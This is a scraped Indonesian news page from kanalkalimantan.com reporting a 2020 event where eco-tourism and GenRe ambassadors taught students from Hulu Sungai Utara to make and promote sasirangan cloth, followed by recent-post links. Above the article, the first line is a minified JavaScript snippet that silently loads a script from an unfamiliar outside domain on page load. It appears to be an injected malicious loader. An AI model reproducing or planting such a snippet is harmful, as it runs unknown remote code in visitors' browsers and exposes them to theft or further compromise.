(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Putera Ekowisata dan Duta GenRe Berharap Mahasiswa Ikut Promosikan Sasirangan


KANALKALIMANTAN.COM, AMUNTAI – Putera Ekowisata Kalsel 2020, Zainal Fuad berharap mahasiswa Hulu Sungai Utara (HSU) yang kuliah di luar daerah mampu membuat dan mempromosikan sasirangan.

Hal tersebut diungkapkan Putra Ekowisata bersama Duta GenRe Hendra Rusnadi dan Nadila Rusida saat memperkenalkan sasirangan kepada generasi muda yang tergabung dalam Keluarga Mahasiswa Hulu Sungai Utara – Yogyakarta (KM HSU-Yogyakarta) saat mengunjungi Show room Dekranasda HSU, Minggu (9/8/2020).

Fuad menjelaskan, sasirangan merupakan kain khas Kalimantan Selatan yang pada awal kemunculannya berasal dari kisah masa lalu di kerajaan Negara Dipa. “Perbedaan mendasar yang melekat pada kain sasirangan terletak pada metode membuatkannya yang menggunakan teknik jahit, ikat, dan celup,” ujarnya.

Menurutnya, generasi muda khususnya mahasiswa yang berkuliah di luar daerah perlu mengenal dan dapat membuat kain sasirangan agar ketika berada di luar daerah mampu mempromosikan sasirangan. “Apalagi saat ini sasirangan masih kalah famornya jika dibanding dengan kain batik.” Imbuh Fuad.

Seiring dengan itu, ketua KM-HSU Yogyakarta Rahmat Novearrahman mengaku mahasiswa HSU yang berkuliah di Yogyakarta masih banyak yang belum mengenal budaya HSU secara luas.

Diakui oleh mahasiswa Hukum Tata Negara UIN Sunan Kalijaga yang akrab dipanggil Unu ini, Mahasiswa sebagai promotor kebudayaan dan pariwisata memang sangat memerlukan pengalaman nyata dalam membuat sasirangan.

Hal ini dimaksudkan agar tidak ada kegundahan karena tidak tahu budaya saat ditanya oleh orang dari luar Kalsel. “Sebagian kawan-kawan ada yang belum tahu tentang sejarah dan juga proses pembuatan sasirangan, jadi menurut kami kegiatan pada hari ini sangat bermanfaat demi meningkatkan kualitas diri mahasiswa sebagai promotor budaya” ujar Unu.

Sementara dalam kegiatan tersebut  seluruh peserta mendapatkan kesempatan untuk belajar secara langsung proses pembuatan sasirangan dengan bahan pewarna alami oleh Zainal Fuad yang juga sebagai instruktur pembuatan kain sasirangan berbahan alami. (kanalkalimantan.com/dew)

 

Reporter: Dew
Editor: Cell


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

9 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

11 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

11 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

13 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.